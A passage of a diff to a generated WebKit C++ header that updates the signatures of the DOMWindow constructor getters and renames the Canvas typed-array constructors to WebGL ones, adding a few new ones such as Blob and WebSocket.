 void setJSDOMWindowHTMLScriptElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLSelectElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLSelectElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLSelectElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLStyleElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLStyleElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLStyleElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLTableCaptionElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLTableCaptionElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLTableCaptionElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLTableCellElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLTableCellElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLTableCellElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLTableColElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLTableColElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLTableColElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLTableElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLTableElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLTableElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLTableRowElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLTableRowElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLTableRowElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLTableSectionElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLTableSectionElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLTableSectionElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLTextAreaElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLTextAreaElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLTextAreaElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLTitleElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLTitleElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLTitleElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLUListElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLUListElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLUListElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLCollectionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLCollectionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLCollectionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLAllCollectionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLAllCollectionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLAllCollectionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowImageConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowImageConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowImageConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOptionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasRenderingContext2DConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCanvasRenderingContext2DConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCanvasRenderingContext2DConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasRenderingContext3DConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasRenderingContext3DConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowTextMetricsConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowImageDataConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowImageDataConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowWebGLRenderingContextConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLRenderingContextConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowTextMetricsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowTextMetricsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasArrayBufferConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasArrayBufferConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasByteArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasByteArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasUnsignedByteArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasUnsignedByteArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasShortArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasShortArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasUnsignedShortArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasUnsignedShortArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasIntArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasIntArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasUnsignedIntArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasUnsignedIntArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCanvasFloatArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-void setJSDOMWindowCanvasFloatArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebGLArrayBufferConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLArrayBufferConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowWebGLByteArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLByteArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowWebGLUnsignedByteArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLUnsignedByteArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowWebGLShortArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLShortArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowWebGLUnsignedShortArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLUnsignedShortArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowWebGLIntArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLIntArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowWebGLUnsignedIntArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLUnsignedIntArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowWebGLFloatArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebGLFloatArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowBeforeLoadEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowBeforeLoadEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowBeforeLoadEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowKeyboardEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowKeyboardEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowKeyboardEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMouseEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMouseEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMouseEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMutationEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMutationEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMutationEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOverflowEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOverflowEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOverflowEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowPageTransitionEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowPageTransitionEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowPageTransitionEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowProgressEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowProgressEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowProgressEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowTextEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowTextEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowTextEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowUIEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowUIEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowUIEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWebKitAnimationEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebKitAnimationEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWebKitAnimationEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWebKitTransitionEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebKitTransitionEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWebKitTransitionEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWheelEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWheelEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWheelEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMessageEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMessageEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMessageEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowEventExceptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowEventExceptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowEventExceptionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWebKitCSSKeyframeRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebKitCSSKeyframeRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWebKitCSSKeyframeRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWebKitCSSKeyframesRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebKitCSSKeyframesRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWebKitCSSKeyframesRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWebKitCSSMatrixConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebKitCSSMatrixConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWebKitCSSMatrixConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWebKitPointConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebKitPointConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWebKitPointConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowClipboardConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowClipboardConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowClipboardConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowFileConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowFileConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowFileConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowFileListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowFileListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowFileListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowNodeFilterConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowBlobConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowBlobConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowNodeFilterConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowNodeFilterConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowRangeConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowRangeConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowRangeConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowRangeExceptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowRangeExceptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowRangeExceptionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowEventSourceConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowEventSourceConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowEventSourceConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXMLDocumentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXMLDocumentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowXMLDocumentConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDOMParserConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDOMParserConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDOMParserConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXMLSerializerConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXMLSerializerConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowXMLSerializerConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXMLHttpRequestConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXMLHttpRequestConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowXMLHttpRequestConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXMLHttpRequestUploadConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXMLHttpRequestUploadConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowXMLHttpRequestUploadConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXMLHttpRequestExceptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXMLHttpRequestExceptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowXMLHttpRequestExceptionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXSLTProcessorConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXSLTProcessorConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowXSLTProcessorConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMessagePortConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMessagePortConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMessagePortConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMessageChannelConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMessageChannelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMessageChannelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWorkerConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWorkerConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWorkerConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSharedWorkerConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSharedWorkerConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSharedWorkerConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowPluginConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebSocketConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowWebSocketConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowPluginConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowPluginConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowPluginArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowPluginArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowPluginArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMimeTypeConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMimeTypeConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMimeTypeConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMimeTypeArrayConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMimeTypeArrayConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMimeTypeArrayConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowClientRectConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowClientRectConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowClientRectConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowClientRectListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowClientRectListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowClientRectListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowStorageConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowStorageConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowStorageConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowStorageEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowStorageEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowStorageEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowAudioConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowAudioConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowAudioConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLAudioElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLAudioElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLAudioElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLMediaElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLMediaElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLMediaElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLVideoElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLVideoElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLVideoElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMediaErrorConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMediaErrorConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMediaErrorConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXPathEvaluatorConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXPathEvaluatorConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowXPathEvaluatorConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXPathResultConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXPathResultConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowXPathResultConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowXPathExceptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowXPathExceptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
